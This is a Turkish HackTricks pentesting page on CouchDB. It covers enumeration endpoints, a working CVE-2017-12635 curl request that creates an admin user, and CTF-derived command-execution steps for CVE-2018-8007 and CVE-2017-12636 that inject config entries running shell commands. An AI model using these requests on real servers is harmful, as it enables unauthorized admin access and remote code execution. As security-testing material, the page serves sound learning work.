hacktricks/src/network-services-pentesting/5984-pentesting-couchdb.md

221 lines
16 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 5984,6984 - Pentesting CouchDB
{{#include ../banners/hacktricks-training.md}}
## **Temel Bilgiler**
**CouchDB**, verileri her **belge** içinde bir **anahtar-değer haritası** yapısı kullanarak organize eden çok yönlü ve güçlü bir **belge odaklı veritabanıdır**. Belge içindeki alanlar, veri depolama ve alma esnekliği sağlayarak **anahtar/değer çiftleri, listeler veya haritalar** olarak temsil edilebilir.
CouchDB'de saklanan her **belge**, belge düzeyinde bir **benzersiz tanımlayıcı** (`_id`) ile atanır. Ayrıca, veritabanına yapılan ve kaydedilen her değişiklik bir **revizyon numarası** (`_rev`) ile atanır. Bu revizyon numarası, veritabanındaki verilerin kolayca alınmasını ve senkronize edilmesini sağlayarak **değişikliklerin etkili bir şekilde izlenmesini ve yönetilmesini** mümkün kılar.
**Varsayılan port:** 5984(http), 6984(https)
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
## **Otomatik Sayım**
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
## Manuel Sayım
### Afiş
```
curl http://IP:5984/
```
Bu, kurulu CouchDB örneğine bir GET isteği gönderir. Yanıt aşağıdakilerden birine benzer görünmelidir:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
> [!NOTE]
> CouchDB'nin köküne erişim sağlarsanız `401 Unauthorized` hatası alırsanız, bu gibi bir mesajla: `{"error":"unauthorized","reason":"Authentication required."}` **banner'a veya başka bir uç noktaya erişim sağlayamazsınız.**
### Bilgi Sayımı
Aşağıdaki uç noktalar, **GET** isteği ile erişebileceğiniz ve bazı ilginç bilgileri çıkarabileceğiniz yerlerdir. [**Daha fazla uç nokta ve daha ayrıntılııklamalar için couchdb belgelerine**](https://docs.couchdb.org/en/latest/api/index.html) bakabilirsiniz.
- **`/_active_tasks`** Çalışan görevlerin listesi, görev türü, adı, durumu ve işlem kimliği dahil.
- **`/_all_dbs`** CouchDB örneğindeki tüm veritabanlarının listesini döner.
- \*\*`/_cluster_setup`\*\* Düğüm veya kümenin durumunu, küme kurulum sihirbazına göre döner.
- **`/_db_updates`** CouchDB örneğindeki tüm veritabanı olaylarının listesini döner. Bu uç noktayı kullanmak için `_global_changes` veritabanının varlığı gereklidir.
- **`/_membership`** Kümenin bir parçası olan düğümleri `cluster_nodes` olarak görüntüler. `all_nodes` alanı, bu düğümün bildiği tüm düğümleri, kümenin bir parçası olanlar da dahil olmak üzere gösterir.
- **`/_scheduler/jobs`** Çoğaltma işlerinin listesi. Her iş tanımı, kaynak ve hedef bilgilerini, çoğaltma kimliğini, son olayların geçmişini ve birkaç diğer şeyi içerecektir.
- **`/_scheduler/docs`** Çoğaltma belge durumlarının listesi. `tamamlandı` ve `başarısız` durumlar dahil olmak üzere tüm belgeler hakkında bilgi içerir. Her belge için belge kimliğini, veritabanını, çoğaltma kimliğini, kaynak ve hedefi ve diğer bilgileri döner.
- **`/_scheduler/docs/{replicator_db}`**
- **`/_scheduler/docs/{replicator_db}/{docid}`**
- **`/_node/{node-name}`** `/_node/{node-name}` uç noktası, isteği işleyen sunucunun Erlang düğüm adını doğrulamak için kullanılabilir. Bu, `/_node/_local` erişirken bu bilgiyi almak için en faydalıdır.
- **`/_node/{node-name}/_stats`** `_stats` kaynağı, çalışan sunucu için istatistikleri içeren bir JSON nesnesi döner. `_local` literal dizesi, yerel düğüm adı için bir takma ad olarak hizmet eder, bu nedenle tüm istatistik URL'lerinde `{node-name}` `_local` ile değiştirilebilir, yerel düğümün istatistikleri ile etkileşimde bulunmak için.
- **`/_node/{node-name}/_system`** \_system kaynağı, çalışan sunucu için çeşitli sistem düzeyindeki istatistikleri içeren bir JSON nesnesi döner. Mevcut düğüm bilgilerini almak için `{node-name}` olarak `_local` kullanabilirsiniz.
- **`/_node/{node-name}/_restart`**
- **`/_up`** Sunucunun çalıştığını, çalıştığını ve isteklere yanıt vermeye hazır olduğunu doğrular. Eğer [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) `true` veya `nolb` ise, uç nokta 404 yanıtı dönecektir.
- \*\*`/_uuids`\*\* CouchDB örneğinden bir veya daha fazla Evrensel Benzersiz Tanımlayıcı (UUID) talep eder.
- \*\*`/_reshard`\*\* Tamamlanan, başarısız, çalışan, durdurulan ve toplam işlerin sayısını ve kümedeki yeniden parçalama durumunu döner.
Daha ilginç bilgiler burada açıklandığı gibi çıkarılabilir: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
### **Veritabanı Listesi**
```
curl -X GET http://IP:5984/_all_dbs
```
Eğer bu istek **401 yetkisiz** ile yanıt verirse, veritabanına erişmek için **geçerli kimlik bilgilerine** ihtiyacınız var:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Geçerli Kimlik Bilgilerini bulmak için **şunu deneyebilirsiniz**: [**hizmeti bruteforce etmek**](../generic-hacking/brute-force.md#couchdb).
Bu, **yeterli ayrıcalıklara** sahip olduğunuzda veritabanlarını listelemek için bir couchdb **yanıtı** örneğidir (Sadece bir db listesi):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### Veritabanı Bilgisi
Veritabanı adını erişerek bazı veritabanı bilgilerini (dosya sayısı ve boyutları gibi) elde edebilirsiniz:
```bash
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
```
### **Belge Listesi**
Veritabanındaki her bir girişi listele
```bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
```
### **Belgeyi Oku**
Bir veritabanındaki bir belgenin içeriğini oku:
```bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## CouchDB Yetki Yükseltme [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
Erlang ve JavaScript JSON ayrıştırıcıları arasındaki farklar sayesinde, aşağıdaki isteği kullanarak `hacktricks:hacktricks` kimlik bilgileriyle **bir yönetici kullanıcı** oluşturabilirsiniz:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**Bu güvenlik açığı hakkında daha fazla bilgi burada**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
## CouchDB RCE
### **Erlang Cookie Güvenlik Genel Görünümü**
Örnek [buradan](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
CouchDB belgelerinde, özellikle küme kurulumu ile ilgili bölümde ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), CouchDB'nin küme modunda port kullanımına değinilmektedir. Tekil modda olduğu gibi, port `5984`'ün kullanıldığı belirtilmiştir. Ayrıca, port `5986` düğüm yerel API'leri içindir ve önemli olarak, Erlang'ın Erlang Port Mapper Daemon (EPMD) için TCP port `4369`'a ihtiyaç duyduğu, bu sayede bir Erlang kümesi içinde düğüm iletişimini kolaylaştırdığı vurgulanmaktadır. Bu yapı, her düğümün diğer tüm düğümlerle bağlantılı olduğu bir ağ oluşturur.
Port `4369` ile ilgili önemli bir güvenlik uyarısı vurgulanmaktadır. Eğer bu port, İnternet veya herhangi bir güvenilmeyen ağ üzerinden erişilebilir hale getirilirse, sistemin güvenliği "cookie" olarak bilinen benzersiz bir tanıtıcıya büyük ölçüde bağlıdır. Bu cookie bir koruma işlevi görür. Örneğin, belirli bir işlem listesinde "monster" adlı cookie gözlemlenebilir, bu da sistemin güvenlik çerçevesindeki operasyonel rolünü gösterir.
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
Bu "cookie"nin Erlang sistemleri bağlamında Uzaktan Kod Çalıştırma (RCE) için nasıl istismar edilebileceğini anlamakla ilgilenenler için, daha fazla okuma için özel bir bölüm mevcuttur. Bu bölüm, sistemler üzerinde kontrol sağlamak için Erlang cookie'lerini yetkisiz bir şekilde kullanma metodolojilerini detaylandırmaktadır. [**Erlang cookie'lerini RCE için istismar etme üzerine detaylı kılavuzu buradan keşfedebilirsiniz**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce).
### **local.ini'nin Değiştirilmesi ile CVE-2018-8007'nin İstismarı**
Örnek [buradan](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Apache CouchDB'yi etkileyen ve yakın zamanda açıklanan CVE-2018-8007 zafiyeti incelendi ve istismar için `local.ini` dosyasına yazma izinlerinin gerektiği ortaya çıktı. Güvenlik kısıtlamaları nedeniyle başlangıçtaki hedef sisteme doğrudan uygulanamasa da, keşif amaçları için `local.ini` dosyasına yazma erişimi sağlamak üzere değişiklikler yapıldı. Aşağıda, süreci gösteren detaylı adımlar ve kod örnekleri sağlanmaktadır.
Öncelikle, `local.ini` dosyasının yazılabilir olduğundan emin olarak ortam hazırlanır ve izinler listelenerek doğrulanır:
```bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
Zafiyeti istismar etmek için, `local.ini` dosyasındaki `cors/origins` yapılandırmasını hedef alan bir curl komutu çalıştırılır. Bu, `[os_daemons]` bölümünde rastgele kod çalıştırmayı amaçlayan ek komutlarla birlikte yeni bir köken enjekte eder:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
Sonraki doğrulama, `local.ini` içindeki enjekte edilmiş yapılandırmayı gösterir ve değişiklikleri vurgulamak için bir yedekle karşılaştırır:
```bash
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
Başlangıçta, beklenen dosya (`/tmp/0xdf`) mevcut değildir, bu da enjekte edilen komutun henüz çalıştırılmadığını gösterir. Daha fazla araştırma, CouchDB ile ilgili süreçlerin çalıştığını ve enjekte edilen komutu potansiyel olarak çalıştırabilecek birinin bulunduğunu ortaya koyar:
```bash
root@canape:/home/homer/bin# ps aux | grep couch
```
Belirlenen CouchDB sürecini sonlandırarak ve sistemin otomatik olarak yeniden başlatmasına izin vererek, enjekte edilen komutun yürütülmesi tetiklenir; bu, daha önce eksik olan dosyanın varlığıyla doğrulanır:
```bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
Bu keşif, belirli koşullar altında CVE-2018-8007 istismarının uygulanabilirliğini doğrulamaktadır; özellikle `local.ini` dosyasına yazılabilir erişim gereksinimi. Sağlanan kod örnekleri ve prosedürel adımlar, istismarı kontrollü bir ortamda tekrarlamak için net bir rehber sunmaktadır.
CVE-2018-8007 hakkında daha fazla bilgi için mdsec'in tavsiyesine bakın: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
### **local.ini Üzerinde Yazma İzinleri ile CVE-2017-12636'yı Keşfetme**
Örnek [buradan](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
CouchDB süreci aracılığıyla kod yürütülmesine olanak tanıyan CVE-2017-12636 olarak bilinen bir zafiyet incelenmiştir; ancak belirli yapılandırmalar istismarını engelleyebilir. Çevrimiçi olarak mevcut olan birçok Kanıtı Konsept (POC) referansına rağmen, zafiyeti CouchDB sürüm 2'de istismar etmek için ayarlamalar gereklidir; bu, genellikle hedef alınan sürüm 1.x'ten farklıdır. İlk adımlar, CouchDB sürümünü doğrulamayı ve beklenen sorgu sunucuları yolunun yokluğunu onaylamayı içerir:
```bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
```
CouchDB sürüm 2.0'ı desteklemek için yeni bir yol kullanılmaktadır:
```bash
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
```
Yeni bir sorgu sunucusu ekleme ve çağırma girişimleri, aşağıdaki çıktıda gösterildiği gibi izinle ilgili hatalarla karşılandı:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Daha fazla araştırma, yazılamayan `local.ini` dosyasıyla ilgili izin sorunlarını ortaya çıkardı. Dosya izinlerini root veya homer erişimi ile değiştirerek devam etmek mümkün hale geldi:
```bash
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
```
Sonraki sorgu sunucusu ekleme girişimleri başarılı oldu; bu, yanıttaki hata mesajlarının olmamasıyla gösterilmektedir. `local.ini` dosyasının başarılı bir şekilde değiştirilmesi dosya karşılaştırmasıyla doğrulandı:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Süreç, bir veritabanı ve bir belge oluşturulmasıyla devam etti, ardından yeni eklenen sorgu sunucusuna özel bir görünüm eşlemesi aracılığıyla kodu çalıştırma girişimi yapıldı:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
```
Bir [**özet**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) alternatif bir yük ile belirli koşullar altında CVE-2017-12636'nin istismarına dair daha fazla bilgi sunmaktadır. Bu güvenlik açığını istismar etmek için **yararlı kaynaklar** şunlardır:
- [POC exploit kodu](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Exploit Database girişi](https://www.exploit-db.com/exploits/44913/)
## Shodan
- `port:5984 couchdb`
## Referanslar
- [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
- [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
{{#include ../banners/hacktricks-training.md}}